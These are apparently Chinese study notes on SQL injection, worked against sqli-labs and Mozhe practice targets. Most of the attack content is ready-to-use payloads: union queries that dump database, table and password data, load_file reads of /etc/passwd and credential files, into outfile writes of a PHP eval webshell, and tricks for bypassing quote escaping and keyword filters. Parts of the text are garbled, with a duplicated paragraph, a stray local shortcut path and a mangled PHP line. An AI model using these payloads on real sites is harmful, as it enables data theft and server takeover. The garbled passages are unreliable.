SQL 注入
SQL 注入漏洞将是重点部分,其中 SQL 注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是
WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
SQL 注入漏洞将是重点部分,其中 SQL 注入
又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需
要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类 [Autodesk 桌面应用程序.lnk](C:\Users\Public\Desktop\Autodesk 桌面应用程序.lnk) 漏洞是
WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。
学习路线图:
sql注入思路
信息收集:收集操作系统、数据库,数据库名、数据库用户、数据库版本、其他(网站路径等)
数据注入:
高权限注入:常规查询、跨库查询、文件读写。
集合渗透工具系统-忍者系统安装
**参考博客:**https://blog.csdn.net/qq_35258210/article/details/115457883
将镜像下载好使用VM安装,我给该系统分配了70个G硬盘,6G内存
镜像下载链接:链接: https://pan.baidu.com/s/1CAw9ztIUhCZgydNWHHWINg 密码: a33b
页面密码:
toor
一、SQL注入原理
- SQL注入安全测试中的危害
大部分是对数据库中的数据进行操作
更新或者删除,通过SQL注入进行后门的写入,直接获取权限。
两个危害:危害数据库中的数据,直接危害网站权限。
介绍:
SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且带入数据库查询,攻击者可以构造不同的sql语句来实现对数据库的任意操作。
PHP语句为例:
q u e r y = " s e l e c t ∗ f r o m u s e r s w h e r e i d = query="select * from users where id= query="select∗fromuserswhereid=_GET[‘id’] ";
由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。
二、Sqlilabs 注入靶场搭建简要使用
sqli-labs是一款学习SQL注入的开源平台,共有75种不同类型的注入
下载连接:
https://github.com/Audi-1/sqli-labs
安装完成
不同数据库注入方式是不同的
搭建时问题:
出现无法站点目录不存在,请检查站点目录是否被删除或者移动
网站目录路径不正确,删除后新建一个:
三、MYSQL数据库注入
低版本指的是mysql 5.0以下的版本
5.0以上为高版本
墨者靶场案例:
手工进行SQL注入测试,获取管理密码登录。
案例网址:墨者靶机真实 MYSQL 注入演示
点开下面的公告栏网址:(http://124.70.22.208:40057/new_list.php?id=1)
1、如何判断是否存在注入点
增加数据库判断语句
-
逻辑值
id =1 and 1=1 页面正常
id=1 and 1=2 页面异常
则可能存在注入点
-
同过任意输入字段,不显示页面判断,如果出现跳转则可能不存在sql漏洞,因为已经有了判断条件.
-
order by收集表列名及判断
ORDER BY 语句用于对结果集进行排序。
猜列名数量(字段数),通过错误和正常的值.
通过order by**(数字)** 错误与正常的临界值; 判断注入的字段数
发现输入(1~4)网站为正常,5报错:
219.153.49.228:42123/new_list.php?id=1 order by 1,2,3,4 --正常
219.153.49.228:42123/new_list.php?id=1 order by 5 --报错
2、信息收集
利用union
-
联合查询 union select 判断2,3存在回显
-
注意空格
http://124.70.22.208:40418/new_list.php?id=-1 union select 1, 2, 3, 4
-
收集数据库版本
-
version()
-
//124.70.22.208:40418/new_list.php?id=-1 union select 1, version(), 3, 4
版本为:5.7.22-0ubuntu0.16.04.1
-
-
收集数据库名称
-
database()
//124.70.22.208:40418/new_list.php?id=-1 union select 1, version(), database(), 4 ` 数据库名:mozhe_Discuz_StormGroup
-
数据库用户
-
user()
-
//124.70.22.208:40418/new_list.php?id=-1 union select 1, user(), database(), 4
用户名root@localhost
-
操作系统
-
@@version_compile_os
-
//124.70.22.208:40418/new_list.php?id=-1 union select 1, @@version_compile_os, database(), 4
操作系统 :Linux
-
3、通过高版本中information获取相关信息
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过
这个数据库获取到数据库下面的表名和列名。
-
information.schema.table
记录所有表名信息的表
-
information.schema.columns
记录所有列名信息的表
-
table_name
表名
-
column_name
#列名
-
table_schema #数据库名
查询指定表名StormGroup_member下的列名信息:
http://124.70.22.208:40418/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’
查询指定表名StormGroup_member下的列名信息:
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=‘StormGroup_member’
查询指定数据
http://219.153.49.228:43123/new_list.php?id=-1 union select 1,name,password,4 from
md5解密得到用户名:
4 猜解多个数据可以采用limit x,1
在末尾添加 limit 1,1(注意有空格),得到另一个密码
解密后得到密码:
解密:
//124.70.22.208:40418/new_list.php?id=-1 union select 1,password,status,4 from StormGroup_member limit 1,1
Union注入攻击
SQlL-iabs第二关:
一、information_schema重要结构
- SCHEMATA :存储数据库名的,
——>关键字段:SCHEMA_NAME,表示数据库名称
- TABLES :存储表名的
——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
——>关键字段:TABLE_NAME表示所属的表的名称
- COLUMNS :存储字段名的
——>关键字段:COLUMN_NAME表示字段名
- USER_PRIVILEGES 表
用户权限表。内容源自 mysql.user 授权表。是非标准表。
二、基础准备:
1.查看回显,看出2,3存在回显。
id前面有个?号
http://192.168.234.133/sql/Less-2/?id=-1 union select 1, 2, 3
2.使用sqlilabs靶场测试
可以看到这个用户名时是root,是最高权限,除root之外都是普通用户.
打开网页进行查询当前数据库的用户
?id=-1%20union%20select%201,user(),3
可以看到当前用户为root拥有最高的权限。
3.查询当前网站正在使用的数据库名:
http://192.168.234.133/sql/Less-2/?id=-1 union select 1, database(),3
获取到当前网站的数据库是security
4.常见的数据库与用户的对应关系
- 数据库A=网站A=数据库用户A ——>表名——>列名——>数据
- 数据库B=网站B=数据库用户B ——>表名——>列名——>数据
- 数据库C=网站C=数据库用户C ——>表名——>列名——>数据
**备注:**这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库。
5.在数据库中查询有哪些用户
mysql> use mysql;
Database changed
mysql> select host,user,password from user;
+--------------+------+----------+
| host | user | password |
+--------------+------+----------+
| localhost | root | |
| 2c8a2316583a | root | |
| 127.0.0.1 | root | |
| ::1 | root | |
+--------------+------+----------+
4 rows in set (0.00 sec)
mysql>
6.在源码中查看使用的是哪一个用户
root@2c8a2316583a:/var/www/html# cat sql-connections/db-creds.inc
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='';
$dbname ="security";
$host = 'localhost';
$dbname1 = "challenges";
?>
一般在网站安装的时候会指定数据库的用户名和密码这里指定的是root用户密码为空指定的数据库是security
三、高权限注入及低权限注入
1.跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点
查看数据库:show databases;
通过’ select * from mysql.sql; '语句,查询数据库中所有数据库用户;普通用户的权限低,
只有root用户可以注入到其他数据库
2.跨库注入收集信息
- 实现跨库注入,首先需要获得跨库的数据库的名字
通过SQL语句注入,获得所有数据库名字
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
/*注意:group_concat()可以获取所有的
schemata是存放所有数据库ming
SCHEMA_NAME 该列名字段名表示数据库名字 。*/
检查源代码查看所有数据库名:
- 通过域名收集,可以看到该服务器下
还存在其他网站这里以pikachu靶机为案例:存在相互影响
1).获取指定 security数据库下的表名信息
192.168.234.133/sql/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
//--table_name 该字段记录表名
--table_schema 该字段记录数据库名
--来自table表
等同于在数据库中执行以下命令
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' LIMIT 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | security | 3 |
+----+----------+----------+
1 row in set (0.00 sec)
mysql>
2)获取指定数据库security下的users表的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'
//column_name 列名--表中字段名。
来自columns表
等同于以下的数据库命令:
mysql> use security;
mysql> SELECT * FROM users WHERE id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='book' and table_schema='book' LIMIT 0,1;
+----+------------------------------------------------+----------+
| id | username | password |
+----+------------------------------------------------+----------+
| 1 | book_id,book_title,book_author,submission_date | 3 |
+----+------------------------------------------------+----------+
1 row in set (0.00 sec)
mysql>
3.获取数据库security下users表里面的数据
?id=-1 union select 1, username, pasword from security.users
3.文件读写操作
#mysql文件读写操作
- load_file(文件路径) : 读取函数
常见的load_file()读取的敏感信息:
参考博客:
(56条消息) 常见的load_file()读取的敏感信息_weixin_30292843的博客-CSDN博客
案例:
读取密码信息:
?id=-2%20union%20select%201,load_file(%27/etc/passwd%27),3
读取数据库的配置信息:
?id=-1%20union%20select%201,load_file(%27/var/www/html/sql-connections/db-creds.inc%27),3
- into outfile 或 into dumpfile :导出函数,可以写入文件
直接传木马文件
- 1.直接写进文件里
select version() into outfile "绝对路径"。
其中version()可以换成其余的查询数据库信息的函数,及木马
2.修改文件结尾
select "<?php @eval($_POST['cmd']);?>" into outfile"xxx/test.php",
这里需要获取到网站在系统中的具体路径(绝对路径)
案例:
-
文件写入
mysql> select '<?php phpinfo() ?>' into outfile './php'; 在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限。对目录修改权限测试
-
对目录修改权限测试
mysql> select '<?php phpinfo() ?>' into outfile '/var/www/html/test.php'; //phpinfo()是PHP中的一个函数,用于输出当前PHP环境的详细信息,包括PHP版本、编译器版本、操作系统信息、加载的扩展等等。当在PHP服务器上访问phpinfo()函数时,将显示一个包含所有PHP配置和环境信息的页面,方便了解PHP服务器的设置和配置。 phpinfo()函数输出的信息包含了服务器的很多细节和配置信息,可能会泄露敏感信息,例如服务器路径、用户名、密码等,
路径获取常见方法:
获取网站文件目录对于所在路径的方法:
-
报错显示
部分网站出现无法访问时,会出现路径
-
遗留文件
网站通过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,比如:
/test``.php /ceshi``.php /info``.php /phpinfo``.php /php_info``.php /1``.php /l``.php /x``.php
-
漏洞路径报错
爆路径漏洞”是由于Web应用程序在向客户端发送错误消息时,意外地泄露了服务器文件系统的路径信息,例如在页面上显示错误的URL或文件路径。攻击者可以利用这些信息来发现系统中的其他文件和目录,并进一步利用这些信息来入侵系统或窃取敏感信息。
知道对方是用什么程序搭建再去网上去搜索漏洞信息:phpcms爆路径、zblog爆路径、phpmyadmin等
-
平台配置文件
搭建平台的配置文件,会记录网站的信息,包括网站储存路径,网站的域名,IP等,需要一些默认路径来进行尝试读取。
-
爆破等
例如密码字典攻击、暴力破解、漏洞扫描和自动化脚本等技术,以尽可能快地在目标网络或系统中查找漏洞。
需要注意的是,MySQL的文件读写操作需要具有相应的权限才能执行,因此在进行文件读写操作之前,需要确保具有相应的权限。另外,由于文件读写操作可能会对系统安全性造成影响。
四、魔术引号开关及常见防护
一)、魔术引号防护
魔术引号是指PHP中的一个特性,用于自动在字符串中的特殊字符前加上反斜杠(
对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义。
编码软件:winhex
magic_quotes_gpc
因此当magic_quotes_gpc = On时,输入数据中含单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符,都会被加上反斜线,会导致路径错误。函数
绕过方法
1.采用编码或者宽字节
采用编码或者宽字节,利用工具把路径编码一下,转成十六进制,就可以不需要使用单引号,就可以正常解析
将原来的路径替换成hex:
二)、内置函数防护
注入实在id这里出现,我们可以在这里进制判断。
is_int函数
对输入的数字进行过滤判断是否
is_int判断变量是否为整数,是整数就正常执行下面本来要执行的代码
if(is_int($id)){
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
echo $sql;
$result=mysql_query($sql);
}else{
echo '你想干嘛';
}
还有:intval():将变量转换为整数,可以防止SQL注入攻击
等等
缺点有时候正常访问也会被拦截
三)、自定义关键字:select
str_replace() 函数:
以其他字符替换字符串中的一些字符
通过str_replace()函数把select这个关键字函数替换成别,让你无法使用
$id=str_replace('select','sb',$id);
//主要如果没有强调大小写,通过更换就可以绕过,还有编码等情况
str_replace例:
把字符串 “Hello world!” 中的字符 “world” 替换为 “Shanghai”:
<?php
echo str_replace("world","Shanghai","Hello world!");
?>
五、WAF防护软件
安全狗,宝塔等
有人分析过也是关键字判断是否触发